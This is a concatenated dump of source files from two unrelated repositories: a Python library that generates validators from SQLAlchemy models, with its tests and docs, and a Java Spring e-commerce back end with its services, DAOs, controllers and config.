if attr == "parent_a_id":
return "A"
elif attr == "parent_b_id":
return "B"
sess.add(Parent(parent_id=1))
sess.add(ChildA(child_id=1, parent_id=1, name='A'))
sess.add(ChildB(child_id=1, parent_id=1, name='B'))
sess.commit()
paths = [[GrandChild.__table__, ChildA.__table__, Parent.__table__],
[GrandChild.__table__, ChildB.__table__, Parent.__table__]]
cn = sut.MultiPathConstraint(paths, key_map=key_map)
actual = cn.check({"A": 1, "B": 1}, session=sess)
assert not actual
def test_error_when_some_paths_lead_to_different_object(self, sess):
sess.add(Parent(parent_id=1))
sess.add(Parent(parent_id=2))
sess.add(ChildA(child_id=1, parent_id=1, name='A'))
sess.add(ChildB(child_id=1, parent_id=1, name='B'))
sess.add(ChildC(child_id=1, parent_id=2, name='C'))
sess.commit()
paths = [
[TripleGrandChild.__table__, ChildA.__table__, Parent.__table__],
[TripleGrandChild.__table__, ChildB.__table__, Parent.__table__],
[TripleGrandChild.__table__, ChildC.__table__, Parent.__table__]
]
cn = sut.MultiPathConstraint(paths)
actual = cn.check({"parent_a_id": 1,
"parent_b_id": 1,
"parent_c_id": 1},
session=sess)
unwrapped = actual.unwrap()
assert len(unwrapped) == 1
assert set(*unwrapped[0].keys()) == {"parent_a_id", "parent_b_id",
"parent_c_id"}
assert unwrapped[0].values() == [["mismatch (parent)"]]
class TestCreateMultiPathConstraints(object):
def test_find_all_multi_path_constraints(self):
# pylint: disable=protected-access
actual = sut.create_multi_path_constraints(GrandChild.__table__)
expected = sut.MultiPathConstraint(
[[GrandChild.__table__, ChildA.__table__, Parent.__table__],
[GrandChild.__table__, ChildB.__table__, Parent.__table__]])
assert len(actual) == 1
assert actual[0]._foreign_keys == expected._foreign_keys
def test_ignore_multi_path_constraints_ending_in_ignore_set(self):
actual = sut.create_multi_path_constraints(GrandChild.__table__,
ignore={Parent.__table__})
assert not actual
<file_sep>/README.md
# Constraints
## Introduction
### Pros
- Flexible validation of Python objects.
- Validators return all violations, instead of only the first.
- Automatically derive constraints from SQLAlchemy models.
- Errors have a uniform format.
### Cons
- More queries than hand-crafted validation (this might be improved, but that is non-trivial).
- Less flexible (but also less room for mistakes and divergence).
## Example
To create and run a validator from a SQLAlchemy model `Child`, where `session`
is a database session, and `obj` is the object to validate.
```python
>>> from constraints.declarative import ToModel
>>> cn = ToModel(Child)
>>> cn.check(obj, session=session)
```
## Setup
Clone this repository, and run `make` for a set of options. To build the Sphinx documentation:
```
make build-docs
```
## Documentation
Online documentation to be found at https://bartfrenk.github.io/constraints/build/index.html.
<file_sep>/tests/constraints/test_traversal.py
import constraints.traversal as sut
def _adj_fn(graph):
def fn(i):
return graph[i]
return fn
gamma = {0: [1, 2, 6], 1: [], 2: [1, 4], 3: [], 4: [3], 5: [1, 3], 6: [2]}
cycle = {0: [1], 1: [2], 2: [3], 3: [0]}
class TestMultiPaths(object):
# pylint: disable=no-self-use
def test_correct_result_on_dag(self):
actual = sut.multi_paths(_adj_fn(gamma), 0)
assert actual == {1: [[0, 1], [0, 2, 1]], 2: [[0, 2], [0, 6, 2]]}
def test_correct_result_on_cycle(self):
actual = sut.multi_paths(_adj_fn(cycle), 0)
assert actual == {}
class TestBFS(object):
# pylint: disable=no-self-use
def test_correct_result_on_dag(self):
actual = sut.bfs(_adj_fn(gamma), 0)
assert actual == {1: [0, 2], 2: [0, 6], 3: [4], 4: [2], 6: [0]}
def test_correct_result_on_cycle(self):
actual = sut.bfs(_adj_fn(cycle), 0)
assert actual == {0: [3], 1: [0], 2: [1], 3: [2]}
<file_sep>/docs/build/_sources/index.rst.txt
.. Constraints documentation master file, created by
sphinx-quickstart on Sun Aug 27 13:35:08 2017.
You can adapt this file completely to your liking, but it should at least
contain the root `toctree` directive.
The Constraints package
=======================
.. toctree::
:maxdepth: 2
:caption: Modules
modules/base
modules/error
modules/declarative
modules/traversal
<file_sep>/docs/source/modules/traversal.rst
.. Constraints documentation master file, created by
sphinx-quickstart on Sun Aug 27 13:35:08 2017.
You can adapt this file completely to your liking, but it should at least
contain the root `toctree` directive.
constraints.traversal
=====================
Compute disjoint paths from a starting node to all other nodes in a digraph.
Given a digraph represented as a dict of nodes to neighbors,
.. code-block:: python
gamma = {0: [1, 2, 6],
1: [],
2: [1, 4],
3: [],
4: [3],
5: [1, 3],
6: [2]}
Run `multi_paths` as follows:
>>> multi_paths(lambda i: gamma[i], 0)
.. automodule:: constraints.traversal
:members:
<file_sep>/test-requirements.txt
pytest==3.2.2
Sphinx==1.6.4
sphinx_rtd_theme==0.2.4
pytest-watch==4.1.0
<file_sep>/setup.py
from setuptools import setup
version = '0.2.3'
github = 'https://github.com/bartfrenk/constraints'
setup(
name='constraints',
packages=['constraints'],
version=version,
description='Generate validators from SQLAlchemy models',
author='<NAME>',
author_email='<EMAIL>',
url=github,
download_url=github + '/{}.tar.gz'.format(version),
keywords=['validation', 'sqlalchemy'],
classifiers=[],
)
<file_sep>/tests/constraints/test_error.py
# pylint: disable=no-self-use
from constraints.error import Error
class TestError(object):
def test_merge_list_of_atomic_errors(self):
errors = Error("1", "2", "3")
errors.merge(Error("4", "5", "6"))
assert errors == Error("1", "2", "3", "4", "5", "6")
def test_merge_nested_errors(self):
errors = Error({"u": Error("1"), "v": Error("3")})
errors.merge(Error({"u": Error("2"), "w": Error("4")}))
assert errors == Error({"u": Error("1", "2"),
"v": Error("3"), "w": Error("4")})
def test_merge_mixed_errors(self):
errors = Error("1", {"u": Error("2")})
errors.merge(Error("3", {"v": Error("4")}))
assert errors == Error("1", "3", {"u": Error("2"), "v": Error("4")})
def test_convert_list_of_atomic_errors_to_unwrap(self):
errors = Error("1", "2", "3")
assert errors.unwrap() == ["1", "2", "3"]
def test_convert_nested_errors_to_unwrap(self):
errors = Error({"u": Error("1"), "v": Error("2")})
assert errors.unwrap() == [{"u": ["1"], "v": ["2"]}]
def test_convert_mixed_errors_to_unwrap(self):
errors = Error("1", {"u": Error("2")})
assert errors.unwrap() == ["1", {"u": ["2"]}]
<file_sep>/constraints/__init__.py
# pylint: disable=wildcard-import
from .base import *
from .declarative import FromModel
<file_sep>/constraints/error.py
import json
class Error(object):
"""Output of a constraint check."""
def __init__(self, *contents):
self._top = []
self._nested = {}
for err in contents:
if isinstance(err, str):
self._top.append(err)
if isinstance(err, dict):
self._nested.update(err)
if isinstance(err, list):
raise ValueError('content cannot be a list')
def merge(self, err):
"""Merge the argument into this Error object.
:param err: The Error object to merge.
:rtype: An Error object
"""
# pylint: disable=protected-access
self._top.extend(err._top)
for (key, child) in err._nested.items():
if key in self._nested:
self._nested[key].merge(child)
else:
self._nested[key] = child
def unwrap(self):
"""
Convert the error object to a tree-like structure consisting of lists
and dicts. The leaves of the tree are strings.
"""
result = self._top
if self._nested:
d = {key: err.unwrap() for (key, err) in self._nested.items()}
result.append(d)
return result
def to_json(self):
return json.dumps(self.unwrap())
def __eq__(self, err):
# pylint: disable=protected-access
return self._top == err._top and self._nested == err._nested
def __nonzero__(self):
return bool(self._top) or bool(self._nested)
def __repr__(self):
return repr((self._top, self._nested))
|
6b8a631e9b6fb3db0691e3d6a62ae37d90ebd61d
|
[
"reStructuredText",
"Markdown",
"Makefile",
"Python",
"Text"
] | 18
|
Python
|
bartfrenk/constraints
|
ef5f865307cc58e416f464882f74153614775c2f
|
e309a4a21a9e3b4150695810b67b4fa3cc53e987
|
refs/heads/master
|
<repo_name>fttrobin/eos<file_sep>/test/tests/linear_set_test.cc
/**
* @author: <NAME> <<EMAIL>>
*/
#include <gtest/gtest.h>
#include "eos/linear_set.h"
namespace eos
{
namespace tests
{
TEST(linear_set_should, insert_unique_values_in_order)
{
eos::linear_set<int> sut{10, 9, 8, 7, 6, 5, 4, 3, 2, 1};
ASSERT_TRUE(std::is_sorted(sut.begin(), sut.end()));
}
} // namespace tests
} // namespace eos
<file_sep>/test/tests/unique_vector_test.cc
/**
* @author <NAME> <<EMAIL>>
*/
#include <gtest/gtest.h>
#include "eos/unique_vector.h"
namespace eos
{
namespace test
{
TEST(unique_vector_should, succeed)
{
eos::unique_vector<int> sut;
ASSERT_TRUE(sut.push_back(101).second);
}
} // namespace test
} // namespace eos
<file_sep>/include/eos/linear_set.h
/**
* @author <NAME> <<EMAIL>>
*/
#ifndef EOS_LINEAR_SET_H_
#define EOS_LINEAR_SET_H_
#include <vector>
#include <algorithm>
#include <functional>
#include <initializer_list>
namespace eos
{
template <
typename Key,
typename Compare = std::less<Key>,
typename Alloc = std::allocator<Key>
>
class linear_set
{
typedef std::vector<Key, Alloc> storage_type;
public:
typedef typename storage_type::value_type key_type;
typedef typename storage_type::value_type value_type;
typedef Compare key_compare;
typedef Compare value_compare;
typedef typename storage_type::allocator_type allocator_type;
typedef typename allocator_type::reference reference;
typedef typename allocator_type::const_reference const_reference;
typedef typename allocator_type::pointer pointer;
typedef typename allocator_type::const_pointer const_pointer;
typedef typename storage_type::iterator iterator;
typedef typename storage_type::const_iterator const_iterator;
typedef typename storage_type::reverse_iterator reverse_iterator;
typedef typename storage_type::const_reverse_iterator const_reverse_iterator;
typedef typename storage_type::difference_type difference_type;
typedef typename storage_type::size_type size_type;
explicit linear_set(const key_compare& comp = key_compare(),
const allocator_type& alloc = allocator_type())
: comp_(comp)
, storage_(alloc)
{
}
template <class InputIterator>
linear_set(InputIterator first, InputIterator last,
const key_compare& comp = key_compare(),
const allocator_type& alloc = allocator_type())
: comp_(comp)
, storage_(alloc)
{
std::copy(first, last, std::inserter(*this, begin()));
}
linear_set(const linear_set& other)
: comp_(other.comp_)
, storage_(other.storage_)
{
}
linear_set(std::initializer_list<value_type> il,
const key_compare& comp = key_compare(),
const allocator_type& alloc = allocator_type())
: comp_(comp)
, storage_(il, alloc)
{
std::stable_sort(begin(), end(), comp_);
}
~linear_set()
{
}
linear_set& operator=(const linear_set& other)
{
comp_ = other.comp_;
storage_ = other.storage_;
}
linear_set& operator=(std::initializer_list<value_type> il)
{
storage_type(il).swap(storage_);
std::stable_sort(begin(), end(), comp_);
}
iterator begin() noexcept
{
return storage_.begin();
}
const_iterator begin() const noexcept
{
return storage_.begin();
}
const_iterator cbegin() const noexcept
{
return storage_.begin();
}
iterator end() noexcept
{
return storage_.end();
}
const_iterator end() const noexcept
{
return storage_.end();
}
const_iterator cend() const noexcept
{
return storage_.end();
}
reverse_iterator rbegin() noexcept
{
return storage_.rbegin();
}
const_reverse_iterator rbegin() const noexcept
{
return storage_.rbegin();
}
const_reverse_iterator crbegin() const noexcept
{
return storage_.crbegin();
}
reverse_iterator rend() noexcept
{
return storage_.rend();
}
const_reverse_iterator rend() const noexcept
{
return storage_.rend();
}
const_reverse_iterator crend() const noexcept
{
return storage_.crend();
}
bool empty() const noexcept
{
return storage_.empty();
}
size_type size() const noexcept
{
return storage_.size();
}
size_type max_size() const noexcept
{
return storage_.max_size();
}
std::pair<iterator, bool> insert(const value_type& val)
{
iterator it = lower_bound(val);
if ( it == end() )
{
storage_.push_back(val);
return std::make_pair(--end(), true);
}
if ( !comp_(val, *it) )
{
return std::make_pair(it, false);
}
else
{
it = insert_at(it, val);
return std::make_pair(it, true);
}
}
iterator insert(iterator position, const value_type& val)
{
position = insert_at(position, val);
std::stable_sort(begin(), end(), comp_);
if ( *position == val )
{
return position;
}
else
{
return find(val);
}
}
template <class InputIterator>
void insert(InputIterator first, InputIterator last)
{
std::copy(first, last, std::inserter(*this, begin()));
}
void erase(iterator position)
{
storage_.erase(position);
}
size_type erase(const value_type& val)
{
iterator it = find(val);
if ( it != end() )
{
erase(it);
return 1;
}
else
{
return 0;
}
}
void erase(iterator first, iterator last)
{
storage_.erase(first, last);
}
void swap(linear_set& other)
{
storage_.swap(other.storage_);
}
void clear()
{
storage_.clear();
}
iterator find(const value_type& val)
{
iterator it = lower_bound(val);
if ( it != end() && !(val < *it) )
{
return it;
}
else
{
return end();
}
}
const_iterator find(const value_type& val) const
{
const_iterator it = lower_bound(val);
if ( it != end() && !(val < *it) )
{
return it;
}
else
{
return end();
}
}
size_type count(const value_type& val) const
{
return ( find(val) != end() ) ? 1 : 0;
}
key_compare key_comp() const
{
return comp_;
}
value_compare value_comp() const
{
return comp_;
}
iterator lower_bound(const value_type& val)
{
return std::lower_bound(begin(), end(), val, comp_);
}
const_iterator lower_bound(const value_type& val) const
{
return std::lower_bound(begin(), end(), val, comp_);
}
iterator upper_bound(const value_type& val)
{
return std::upper_bound(begin(), end(), val, comp_);
}
const_iterator upper_bound(const value_type& val) const
{
return std::upper_bound(begin(), end(), val, comp_);
}
std::pair<iterator, iterator> equal_range(const value_type& val)
{
return std::equal_range(begin(), end(), val, comp_);
}
std::pair<const_iterator, const_iterator> equal_range(const value_type& val) const
{
return std::equal_range(begin(), end(), val, comp_);
}
allocator_type get_allocator() const
{
return storage_.get_allocator();
}
private:
iterator insert_at(iterator position, const value_type& val)
{
difference_type count = std::distance(begin(), position);
storage_.emplace_back();
position = begin();
std::advance(position, count);
std::copy_backward(position, --end(), end());
*position = val;
return position;
}
key_compare comp_;
storage_type storage_;
}; // class linear_set
} // namespace eos
#endif // EOS_LINEAR_SET_H_
<file_sep>/README.md
eos
===
<file_sep>/include/eos/unique_vector.h
/**
* @author <NAME> <<EMAIL>>
*/
#include <vector>
#include <algorithm>
#include <functional>
namespace eos
{
template <
typename T,
typename Compare = std::equal_to<T>,
typename Alloc = std::allocator<T>
>
class unique_vector
{
typedef std::vector<T, Alloc> storage_type;
public:
typedef typename storage_type::value_type value_type;
typedef Compare value_compare;
typedef typename storage_type::allocator_type allocator_type;
typedef typename allocator_type::reference reference;
typedef typename allocator_type::const_reference const_reference;
typedef typename allocator_type::pointer pointer;
typedef typename allocator_type::const_pointer const_pointer;
typedef typename storage_type::iterator iterator;
typedef typename storage_type::const_iterator const_iterator;
typedef typename storage_type::reverse_iterator reverse_iterator;
typedef typename storage_type::const_reverse_iterator const_reverse_iterator;
typedef typename storage_type::difference_type difference_type;
typedef typename storage_type::size_type size_type;
explicit unique_vector(const value_compare& comp = value_compare(),
const allocator_type& alloc = allocator_type())
: comp_(comp)
, storage_(alloc)
{
}
template <class InputIterator>
unique_vector(InputIterator first, InputIterator last,
const value_compare& comp = value_compare(),
const allocator_type& alloc = allocator_type())
: comp_(comp)
, storage_(alloc)
{
}
iterator begin() noexcept
{
return storage_.begin();
}
const_iterator begin() const noexcept
{
return storage_.begin();
}
const_iterator cbegin() const noexcept
{
return storage_.begin();
}
iterator end() noexcept
{
return storage_.end();
}
const_iterator end() const noexcept
{
return storage_.end();
}
const_iterator cend() const noexcept
{
return storage_.end();
}
reverse_iterator rbegin() noexcept
{
return storage_.rbegin();
}
const_reverse_iterator rbegin() const noexcept
{
return storage_.rbegin();
}
const_reverse_iterator crbegin() const noexcept
{
return storage_.crbegin();
}
reverse_iterator rend() noexcept
{
return storage_.rend();
}
const_reverse_iterator rend() const noexcept
{
return storage_.rend();
}
const_reverse_iterator crend() const noexcept
{
return storage_.crend();
}
size_type size() const noexcept
{
return storage_.size();
}
size_type max_size() const noexcept
{
return storage_.max_size();
}
bool empty() const noexcept
{
return storage_.empty();
}
size_type capacity() const noexcept
{
return storage_.capacity();
}
void reserve(size_type n)
{
storage_.reserve(n);
}
void shrink_to_fit()
{
storage_.shrink_to_fit();
}
reference operator[](size_type n)
{
return storage_[n];
}
const_reference operator[](size_type n) const
{
return storage_[n];
}
reference at(size_type n)
{
return storage_.at(n);
}
const_reference at(size_type n) const
{
return storage_.at(n);
}
reference front()
{
return storage_.front();
}
const_reference front() const
{
return storage_.front();
}
reference back()
{
return storage_.back();
}
const_reference back() const
{
return storage_.back();
}
value_type* data() noexcept
{
return storage_.data();
}
const value_type* data() const noexcept
{
return storage_.data();
}
std::pair<iterator, bool> push_back(const value_type& val)
{
iterator position = find(val);
if ( position == end() )
{
storage_.push_back(val);
return std::make_pair(--end(), true);
}
else
{
return std::make_pair(position, false);
}
}
void pop_back()
{
storage_.pop_back();
}
iterator find(const value_type& val)
{
iterator first = begin(), last = end();
for ( ; first != last; ++first )
{
if ( comp_(val, *first) )
{
return first;
}
}
return last;
}
const_iterator find(const value_type& val) const
{
const_iterator first = begin(), last = end();
for ( ; first != last; ++first )
{
if ( comp_(val, *first) )
{
return first;
}
}
return last;
}
private:
value_compare comp_;
storage_type storage_;
}; // class unique_vector
} // namespace eos
<file_sep>/CMakeLists.txt
#
# EOS
# Copyright 2014 <NAME>. Some rights reserved.
#
cmake_minimum_required(VERSION 2.8.8)
project(eos)
set(CMAKE_CXX_FLAGS "${CMAKE_CXX_FLAGS} -std=c++11")
include_directories(${CMAKE_CURRENT_SOURCE_DIR}/include)
file(GLOB_RECURSE eos_SOURCES
${CMAKE_CURRENT_SOURCE_DIR}/include/*.h
${CMAKE_CURRENT_SOURCE_DIR}/src/*.cc
)
enable_testing()
add_subdirectory(${CMAKE_CURRENT_SOURCE_DIR}/test/gmock)
include_directories(
${CMAKE_CURRENT_SOURCE_DIR}/test/gmock/include
${CMAKE_CURRENT_SOURCE_DIR}/test/gmock/gtest/include
)
file(GLOB_RECURSE eos_TEST_SOURCES
${CMAKE_CURRENT_SOURCE_DIR}/test/tests/*.h
${CMAKE_CURRENT_SOURCE_DIR}/test/tests/*.cc
)
add_executable(eos-tests ${eos_SOURCES} ${eos_TEST_SOURCES})
target_link_libraries(eos-tests
gtest
gtest_main
gmock
pthread
)
add_test(
NAME eos-tests-unit
WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}
COMMAND eos-tests
)
add_custom_target(eos-tests-run
COMMAND eos-tests --gtest_output=xml:${CMAKE_CURRENT_BINARY_DIR}/eos-tests-results.xml
DEPENDS eos-tests
WORKING_DIRECTORY ${CMAKE_CURRENT_BINARY_DIR}
COMMENT "Executing tests..."
)
add_custom_command(TARGET eos-tests-run POST_BUILD
COMMAND ;
COMMENT "Summary available at: ${CMAKE_CURRENT_BINARY_DIR}/eos-tests-results.xml"
)
|
df41d72fe064da840608b57db9462485686b35e1
|
[
"Markdown",
"CMake",
"C++"
] | 6
|
C++
|
fttrobin/eos
|
0210d6ccbff9f3b4753c0c889ee05ecbb172e84a
|
27f75e5fa5d30ed15242b88a720a46e3e3083ba9
|
refs/heads/master
|
<repo_name>hseniht/Dreamaze-Polymeric<file_sep>/js/custom.js
$(document).ready(function() {
$('#example').DataTable( {
// "order": [[ 3, "desc" ]]
responsive: true
} );
} );
var ages = [12, 17, 8, 21, 14, 11];
console.log(ages);
console.log(ages.findIndex(cur => cur >= 18));
console.log(ages.find(cur => cur >= 18));
console.log("map");
console.log(ages.map((cur)=> cur + 1 ));
console.log(ages.map(function(cur){
return cur + 1 ;
}));
|
eb7036d5b3792949d9420b2e90d44c8071320dc4
|
[
"JavaScript"
] | 1
|
JavaScript
|
hseniht/Dreamaze-Polymeric
|
c5376b6e7e7b3167efa83abb09ff2952cf41eef2
|
928607fbc7e1efdde3ce8ab4afe4e6045a5f7047
|
refs/heads/master
|
<file_sep><h1>Principal Component Analysis and KMeans Clustering Algorithm</h1>
<p> Steps that I have followed <p/>
<ol>
<li>Data preprocessing</li>
<li>Principal Component Analysis</li>
<li>Kmeans Clustering</li>
<li>Plot clusters</li>
<li>Elbow Method for finding the optimal number of clusters</li>
</ol>
<p>I used census dataset for this project. You can find in project folder</p>
<file_sep>#Author: <NAME>
#Github-repo: https://github.com/mhmtsrfglu/k-means-clustering.git
library(caret)
library(ggfortify)
library(tidyverse) # data manipulation
library(factoextra) # clustering algorithms & visualization
library(readr)
myData<-read.csv(file = "k-means-clustering/dataset-census.csv",sep =",") #read Data
myData<-myData[-c(1,2),] #remove first two row
#represent attributes by number label
myData$workclass = factor(myData$workclass,
levels = c('Private', 'Self-emp-not-inc', 'Self-emp-inc','Federal-gov','Local-gov','State-gov','Without-pay','Never-worked'),
labels = c(1, 2, 3, 4, 5, 6, 7, 8))
myData$education = factor(myData$education,
levels = c('Bachelors', 'Some-college', '11th','HS-grad','Prof-school','Assoc-acdm','Assoc-voc','9th','7th-8th','12th','Masters','1st-4th',
'10th','Doctorate','5th-6th','Preschool'),
labels = c(1, 2, 3, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16))
myData$marital.status = factor(myData$marital.status,
levels = c('Married-civ-spouse', 'Divorced', 'Never-married','Separated','Widowed','Married-spouse-absent','Married-AF-spouse'),
labels = c(1, 2, 3, 4, 5, 6, 7))
myData$occupation = factor(myData$occupation,
levels = c('Tech-support', 'Craft-repair', 'Other-service','Sales','Exec-managerial','Prof-specialty','Handlers-cleaners','Machine-op-inspct','Adm-clerical','Farming-fishing','Transport-moving','Priv-house-serv',
'Protective-serv','Armed-Forces'),
labels = c(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14))
myData$relationship = factor(myData$relationship,
levels = c('Wife', 'Own-child', 'Husband','Not-in-family','Other-relative','Unmarried'),
labels = c(1, 2, 3, 4, 5, 6))
myData$race = factor(myData$race,
levels = c('White', 'Asian-Pac-Islander', 'Amer-Indian-Eskimo','Other','Black'),
labels = c(1, 2, 3, 4, 5))
myData$sex = factor(myData$sex,
levels = c('Female', 'Male'),
labels = c(1, 2))
#convert columns factor to numeric
myData$age<-as.numeric(myData$age)
myData$workclass<-as.numeric(myData$workclass)
myData$fnlwgt<-as.numeric(myData$fnlwgt)
myData$education<-as.numeric(myData$education)
myData$education.num<-as.numeric(myData$education.num)
myData$marital.status<-as.numeric(myData$marital.status)
myData$occupation<-as.numeric(myData$occupation)
myData$race<-as.numeric(myData$race)
myData$relationship<-as.numeric(myData$relationship)
myData$sex<-as.numeric(myData$sex)
myData$capital.gain<-as.numeric(myData$capital.gain)
myData$capital.loss<-as.numeric(myData$capital.loss)
myData$hours.per.week<-as.numeric(myData$hours.per.week)
cleanData <- myData[complete.cases(myData), ] #remove NA rows
rangeStd <- function(x) {(x-min(x))/(max(x)-min(x))} #standardize function
stdData <- as.data.frame(apply(cleanData,2, rangeStd)) #normalize cleaned data
summary(stdData)
#remove redundant columns, there are too many zeros when we normalize data so I removed these columns
stdData$capital.gain<-NULL
stdData$capital.loss<-NULL
stdData$marital.status<-NULL
stdData$workclass<-NULL
stdData$race<-NULL
summary(stdData)
analys.pca <- princomp(stdData) #application of PCA
print(analys.pca)
summary(analys.pca)
transformed <- predict(analys.pca, stdData) #application of PCA attributes
summary(transformed)
#k-means clustering application.
set.seed(123)
kmeans1<-kmeans(transformed,2)
cleanData$cluster.kvalue.2<-kmeans1$cluster
autoplot(kmeans1, data = transformed)
kmeans2<-kmeans(transformed,3)
cleanData$cluster.kvalue.3<-kmeans2$cluster
autoplot(kmeans2, data = transformed)
kmeans3<-kmeans(transformed,4)
cleanData$cluster.kvalue.4<-kmeans3$cluster
autoplot(kmeans3, data = transformed)
kmeans4<-kmeans(transformed,5)
cleanData$cluster.kvalue.5<-kmeans4$cluster
autoplot(kmeans4, data = transformed)
kmeans5<-kmeans(transformed,6)
cleanData$cluster.kvalue.6<-kmeans5$cluster
autoplot(kmeans5, data = transformed)
#Elbow Method for finding the optimal number of clusters
# Compute and plot wss for k = 1 to k = 6
k.max <- 1:6
wss <- sapply(k.max,
function(k){kmeans(stdData, k, nstart=25,iter.max = 15 )$tot.withinss})
wss
plot(k.max, wss,
type="b", pch = 19, frame = FALSE,
xlab="Number of clusters K",
ylab="Total within-clusters sum of squares")
#rename attributes with orginal names
cleanData$workclass = factor(cleanData$workclass,
levels = c(1, 2, 3, 4, 5, 6, 7, 8),
labels = c('Private', 'Self-emp-not-inc', 'Self-emp-inc','Federal-gov','Local-gov','State-gov','Without-pay','Never-worked'))
cleanData$education = factor(cleanData$education,
levels = c(1, 2, 3, 4, 5, 6, 7, 8, 9, 10 , 11, 12, 13, 14, 15, 16) ,
labels = c('Bachelors', 'Some-college', '11th','HS-grad','Prof-school','Assoc-acdm','Assoc-voc','9th','7th-8th','12th','Masters','1st-4th',
'10th','Doctorate','5th-6th','Preschool'))
cleanData$marital.status = factor(cleanData$marital.status,
levels = c(1, 2, 3, 4, 5, 6, 7),
labels = c('Married-civ-spouse', 'Divorced', 'Never-married','Separated','Widowed','Married-spouse-absent','Married-AF-spouse'))
cleanData$occupation = factor(cleanData$occupation,
levels = c(1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14),
labels = c('Tech-support', 'Craft-repair', 'Other-service','Sales','Exec-managerial','Prof-specialty','Handlers-cleaners','Machine-op-inspct','Adm-clerical','Farming-fishing','Transport-moving','Priv-house-serv',
'Protective-serv','Armed-Forces'))
cleanData$relationship = factor(cleanData$relationship,
levels = c(1, 2, 3, 4, 5, 6),
labels = c('Wife', 'Own-child', 'Husband','Not-in-family','Other-relative','Unmarried'))
cleanData$race = factor(cleanData$race,
levels = c(1, 2, 3, 4, 5),
labels = c('White', 'Asian-Pac-Islander', 'Amer-Indian-Eskimo','Other','Black'))
cleanData$sex = factor(cleanData$sex,
levels = c(1, 2),
labels = c('Female', 'Male'))
write.csv(cleanData,file = "dataset-census-with-clusters.csv") #writing datas into file with clusters
|
8fe952ef2bf39cd5eaa80e408193134ca3a59176
|
[
"Markdown",
"R"
] | 2
|
Markdown
|
mhmtsrfglu/k-means-clustering
|
04b5388e70d87a2b51734b7c6f07cbd6bfe882ad
|
13c2e40514c85bf05c3ea9b160097a20977162be
|
refs/heads/master
|
<repo_name>wanwanpp/ElectronicBusinessPlatform<file_sep>/src/main/java/com/wq/core/service/product/impl/TypeServiceImpl.java
package com.wq.core.service.product.impl;
import com.wq.core.bean.product.Type;
import com.wq.core.dao.product.TypeDao;
import com.wq.core.query.product.TypeQuery;
import com.wq.core.service.product.TypeService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
@Service
@Transactional
public class TypeServiceImpl implements TypeService {
@Autowired
private TypeDao typeDao;
public List<Type> getTypeList(TypeQuery typeQuery) {
return typeDao.getTypeList(typeQuery);
}
}
<file_sep>/src/main/java/com/wq/common/web/session/SessionProvider.java
package com.wq.common.web.session;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.Serializable;
/**
* Created by 王萍 on 2017/1/7 0007.
*/
public interface SessionProvider {
public void setAttribute(HttpServletRequest request, String name, Serializable value);
public Serializable getAttribute(HttpServletRequest request,String name);
public void logout(HttpServletRequest request, HttpServletResponse response);
public String getSessionId(HttpServletRequest request);
}
<file_sep>/src/main/java/com/wq/core/service/product/impl/FeatureServiceImpl.java
package com.wq.core.service.product.impl;
import com.wq.core.bean.product.Feature;
import com.wq.core.dao.product.FeatureDao;
import com.wq.core.query.product.FeatureQuery;
import com.wq.core.service.product.FeatureService;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Service;
import org.springframework.transaction.annotation.Transactional;
import java.util.List;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
@Service
@Transactional
public class FeatureServiceImpl implements FeatureService {
@Autowired
private FeatureDao featureDao;
public List<Feature> getFeatureList(FeatureQuery featureQuery) {
return featureDao.getFeatureList(featureQuery);
}
}
<file_sep>/src/main/java/com/wq/core/controller/back/OrderController.java
package com.wq.core.controller.back;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
/**
* Created by 王萍 on 2016/12/30 0030.
*/
@Controller
@RequestMapping("/order")
public class OrderController {
@RequestMapping(value = "/list.do")
public String list() {
return "order/list";
}
}
<file_sep>/src/main/java/com/wq/core/service/test/TestTbService.java
package com.wq.core.service.test;
import com.wq.core.bean.TestTb;
/**
* Created by 王萍 on 2016/12/29 0029.
*/
public interface TestTbService {
void add(TestTb testTb);
}
<file_sep>/src/main/resources/properties/jdbc.properties
driverClass=com.mysql.jdbc.Driver
jdbcUrl=jdbc:mysql://localhost:3306/babasport12?characterEncoding=UTF-8
user=root
password=<PASSWORD><file_sep>/src/main/java/com/wq/core/controller/back/FrameController.java
package com.wq.core.controller.back;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
/**
* Created by 王萍 on 2016/12/30 0030.
*/
@Controller
@RequestMapping(value = "/frame")
public class FrameController {
@RequestMapping(value = "/product_main.do")
public String productMain() {
return "frame/product_main";
}
@RequestMapping(value = "/product_left.do")
public String productLeft() {
return "frame/product_left";
}
@RequestMapping(value = "/order_main.do")
public String orderMain() {
return "frame/order_main";
}
@RequestMapping(value = "/order_left.do")
public String orderLeft() {
return "frame/order_left";
}
}
<file_sep>/src/main/java/com/wq/core/dao/product/FeatureDao.java
package com.wq.core.dao.product;
import com.wq.core.bean.product.Feature;
import com.wq.core.query.product.FeatureQuery;
import java.util.List;
/**
* Created by 王萍 on 2017/1/4 0004.
*/
public interface FeatureDao {
public List<Feature> getFeatureList(FeatureQuery featureQuery);
}
<file_sep>/src/test/java/com/wq/TestTestTb.java
package com.wq;
import com.wq.common.junit.SpringJunitTest;
import com.wq.core.bean.TestTb;
import com.wq.core.service.test.TestTbService;
import org.junit.Test;
import org.springframework.beans.factory.annotation.Autowired;
import java.util.Date;
/**
* Created by 王萍 on 2016/12/29 0029.
*/
public class TestTestTb extends SpringJunitTest {
@Autowired
private TestTbService testTbService;
@Test
public void testAdd() {
TestTb testTb = new TestTb();
testTb.setName("测试数据");
testTb.setBirthday(new Date(System.currentTimeMillis()));
testTbService.add(testTb);
}
// @Test
// public void testAdd() {
//
// TestTb testTb = new TestTb();
// testTb.setName("测试事务");
// testTb.setBirthday(new Timestamp(System.currentTimeMillis()));
// testTbService.add(testTb);
// }
}
<file_sep>/src/main/java/com/wq/common/encode/Md5Pwd.java
package com.wq.common.encode;
/**
* Created by 王萍 on 2017/1/7 0007.
*/
